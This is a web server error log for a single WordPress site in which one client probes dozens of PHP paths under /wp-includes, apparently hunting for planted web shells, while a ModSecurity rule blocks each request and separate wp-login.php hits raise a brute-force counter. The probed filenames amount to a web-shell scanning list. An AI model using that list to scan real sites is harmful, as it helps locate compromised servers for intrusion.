[Wed Apr 08 13:53:54.544864 2026] [:error] [pid 12453:tid 12464] [client 185.153.151.165:58576] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "adXtchjtW7S6XsLPvrQqFgAAAIk"]
[Wed Apr 08 13:53:55.585142 2026] [:error] [pid 12453:tid 12471] [client 185.153.151.165:58588] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "adXtcxjtW7S6XsLPvrQqIQAAAJA"]
[Wed Apr 08 13:53:58.395469 2026] [:error] [pid 12453:tid 12460] [client 185.153.151.165:58590] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "adXtdhjtW7S6XsLPvrQqMQAAAIU"]
[Wed Apr 08 13:54:01.123828 2026] [:error] [pid 12453:tid 12466] [client 185.153.151.165:44526] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "adXteRjtW7S6XsLPvrQqTgAAAIs"]
[Wed Apr 08 13:54:03.192106 2026] [:error] [pid 12490:tid 12498] [client 185.153.151.165:44540] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "adXte21Fea4F4fbumr2D8QAAAMY"]
[Wed Apr 08 13:54:05.271692 2026] [:error] [pid 12386:tid 12435] [client 185.153.151.165:44542] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "adXtfRLhhLtqHi2gK7VcdQAAARM"]
[Wed Apr 08 13:54:06.651299 2026] [:error] [pid 12490:tid 12494] [client 185.153.151.165:44548] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "adXtfm1Fea4F4fbumr2EKgAAAMI"]
[Wed Apr 08 13:54:07.348192 2026] [:error] [pid 35642:tid 35646] [client 185.153.151.165:44558] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "adXtfw-CqryxdEs5DN9EegAAAEI"]
[Wed Apr 08 13:54:09.992804 2026] [:error] [pid 35642:tid 35668] [client 185.153.151.165:44570] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "adXtgQ-CqryxdEs5DN9EnQAAAFg"]
[Wed Apr 08 13:54:12.427629 2026] [:error] [pid 12386:tid 12440] [client 185.153.151.165:50062] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "adXthBLhhLtqHi2gK7VcoAAAARg"]
[Wed Apr 08 13:54:14.485692 2026] [:error] [pid 12490:tid 12493] [client 185.153.151.165:50070] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "adXthm1Fea4F4fbumr2EbgAAAME"]
[Wed Apr 08 13:54:15.169426 2026] [:error] [pid 12490:tid 12509] [client 185.153.151.165:50078] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "adXth21Fea4F4fbumr2EcgAAANE"]
[Wed Apr 08 13:54:16.211306 2026] [:error] [pid 12490:tid 12496] [client 185.153.151.165:50094] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "adXtiG1Fea4F4fbumr2EeAAAAMQ"]
[Wed Apr 08 13:54:17.604295 2026] [:error] [pid 12490:tid 12495] [client 185.153.151.165:50104] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "adXtiW1Fea4F4fbumr2EhwAAAMM"]
[Wed Apr 08 13:54:18.300911 2026] [:error] [pid 12490:tid 12509] [client 185.153.151.165:50108] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "adXtim1Fea4F4fbumr2EiQAAANE"]
[Wed Apr 08 13:54:21.118171 2026] [:error] [pid 12490:tid 12500] [client 185.153.151.165:40146] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "adXtjW1Fea4F4fbumr2EsAAAAMg"]
[Wed Apr 08 13:54:22.512697 2026] [:error] [pid 12453:tid 12469] [client 185.153.151.165:40154] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "adXtjhjtW7S6XsLPvrQqvQAAAI4"]
[Wed Apr 08 13:54:23.209991 2026] [:error] [pid 12490:tid 12507] [client 185.153.151.165:40168] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "adXtj21Fea4F4fbumr2EvgAAAM8"]
[Wed Apr 08 13:54:24.605578 2026] [:error] [pid 12490:tid 12513] [client 185.153.151.165:40170] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "adXtkG1Fea4F4fbumr2E1wAAANU"]
[Wed Apr 08 13:54:25.656465 2026] [:error] [pid 12386:tid 12431] [client 185.153.151.165:40182] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "adXtkRLhhLtqHi2gK7Vc8QAAAQ8"]
[Wed Apr 08 13:54:28.025193 2026] [:error] [pid 12490:tid 12508] [client 185.153.151.165:40188] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "adXtlG1Fea4F4fbumr2E8QAAANA"]
[Wed Apr 08 13:54:29.399483 2026] [:error] [pid 35642:tid 35647] [client 185.153.151.165:40190] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "adXtlQ-CqryxdEs5DN9FEAAAAEM"]
[Wed Apr 08 13:54:30.774703 2026] [:error] [pid 12385:tid 12395] [client 185.153.151.165:58948] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "adXtliAjtvRQEkLosq0HbgAAAAY"]
[Wed Apr 08 13:54:31.802761 2026] [:error] [pid 35642:tid 35648] [client 185.153.151.165:58952] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "adXtlw-CqryxdEs5DN9FJQAAAEQ"]
[Wed Apr 08 13:54:32.837326 2026] [:error] [pid 12386:tid 12434] [client 185.153.151.165:58958] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "adXtmBLhhLtqHi2gK7VdFwAAARI"]
[Wed Apr 08 13:54:33.531910 2026] [:error] [pid 12385:tid 12404] [client 185.153.151.165:58972] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "adXtmSAjtvRQEkLosq0HfgAAAA8"]
[Wed Apr 08 13:54:34.217442 2026] [:error] [pid 12453:tid 12478] [client 185.153.151.165:58976] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "adXtmhjtW7S6XsLPvrQrHAAAAJc"]
[Wed Apr 08 13:54:37.028637 2026] [:error] [pid 12385:tid 12403] [client 185.153.151.165:58988] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "adXtnSAjtvRQEkLosq0HlQAAAA4"]
[Wed Apr 08 13:54:38.783702 2026] [:error] [pid 35642:tid 35658] [client 185.153.151.165:58996] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "adXtng-CqryxdEs5DN9FTwAAAE4"]
[Wed Apr 08 13:54:40.138840 2026] [:error] [pid 35642:tid 35649] [client 185.153.151.165:33550] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "adXtoA-CqryxdEs5DN9FXAAAAEU"]
[Wed Apr 08 13:54:41.512504 2026] [:error] [pid 12386:tid 12419] [client 185.153.151.165:33554] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "adXtoRLhhLtqHi2gK7VdOAAAAQM"]
[Wed Apr 08 13:54:43.926708 2026] [:error] [pid 12386:tid 12418] [client 185.153.151.165:33556] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "adXtoxLhhLtqHi2gK7VdRAAAAQI"]
[Wed Apr 08 13:54:44.951042 2026] [:error] [pid 12490:tid 12509] [client 185.153.151.165:33558] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "adXtpG1Fea4F4fbumr2FUAAAANE"]
[Wed Apr 08 13:54:45.998053 2026] [:error] [pid 12386:tid 12418] [client 185.153.151.165:33570] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "adXtpRLhhLtqHi2gK7VdVAAAAQI"]
[Wed Apr 08 13:54:47.428460 2026] [:error] [pid 12453:tid 12473] [client 185.153.151.165:33572] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "adXtpxjtW7S6XsLPvrQrYAAAAJI"]
[Wed Apr 08 13:54:52.143268 2026] [:error] [pid 35642:tid 35644] [client 185.153.151.165:33588] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "adXtrA-CqryxdEs5DN9FswAAAEA"]
[Wed Apr 08 13:54:52.842290 2026] [:error] [pid 12453:tid 12459] [client 185.153.151.165:57612] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "adXtrBjtW7S6XsLPvrQrdQAAAIQ"]
[Wed Apr 08 13:54:56.115708 2026] [:error] [pid 35642:tid 35650] [client 185.153.151.165:57622] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "adXtsA-CqryxdEs5DN9F0gAAAEY"]
[Wed Apr 08 13:54:56.802429 2026] [:error] [pid 12490:tid 12497] [client 185.153.151.165:57630] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "adXtsG1Fea4F4fbumr2FtQAAAMU"]
[Wed Apr 08 13:54:58.189162 2026] [:error] [pid 12385:tid 12407] [client 185.153.151.165:57638] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "adXtsiAjtvRQEkLosq0H4QAAABI"]
[Wed Apr 08 13:54:58.870515 2026] [:error] [pid 12490:tid 12512] [client 185.153.151.165:51128] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "adXtsm1Fea4F4fbumr2FwAAAANQ"]
[Wed Apr 08 13:54:59.549394 2026] [:error] [pid 12490:tid 12508] [client 185.153.151.165:51134] [client 185.153.151.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.153.151.165, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "adXts21Fea4F4fbumr2FywAAANA"]
[Wed Apr 08 13:54:59.558776 2026] [proxy_fcgi:error] [pid 12490:tid 12508] [client 185.153.151.165:51134] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 13:54:59.899136 2026] [:error] [pid 12490:tid 12502] [client 185.153.151.165:51134] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "adXts21Fea4F4fbumr2F0AAAAMo"]
[Wed Apr 08 13:55:01.277177 2026] [:error] [pid 12453:tid 12476] [client 185.153.151.165:51140] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "adXttRjtW7S6XsLPvrQrqgAAAJU"]
[Wed Apr 08 13:55:01.973755 2026] [:error] [pid 12453:tid 12456] [client 185.153.151.165:51150] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "adXttRjtW7S6XsLPvrQrsgAAAIE"]
[Wed Apr 08 13:55:05.194290 2026] [:error] [pid 35642:tid 35664] [client 185.153.151.165:51164] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "adXtuQ-CqryxdEs5DN9GIAAAAFQ"]
[Wed Apr 08 13:55:05.893897 2026] [:error] [pid 35642:tid 35659] [client 185.153.151.165:51168] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "adXtuQ-CqryxdEs5DN9GJAAAAE8"]
[Wed Apr 08 13:55:07.316609 2026] [:error] [pid 12490:tid 12495] [client 185.153.151.165:51174] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "adXtu21Fea4F4fbumr2GAgAAAMM"]
[Wed Apr 08 13:55:08.029081 2026] [:error] [pid 12490:tid 12492] [client 185.153.151.165:51188] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "adXtvG1Fea4F4fbumr2GBwAAAMA"]
[Wed Apr 08 13:55:08.735572 2026] [proxy_fcgi:error] [pid 12490:tid 12504] [client 185.153.151.165:51200] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 13:55:09.083681 2026] [:error] [pid 12490:tid 12508] [client 185.153.151.165:51200] [client 185.153.151.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.153.151.165, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "adXtvW1Fea4F4fbumr2GFQAAANA"]
[Wed Apr 08 13:55:09.792212 2026] [:error] [pid 12490:tid 12514] [client 185.153.151.165:51200] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "adXtvW1Fea4F4fbumr2GJAAAANY"]
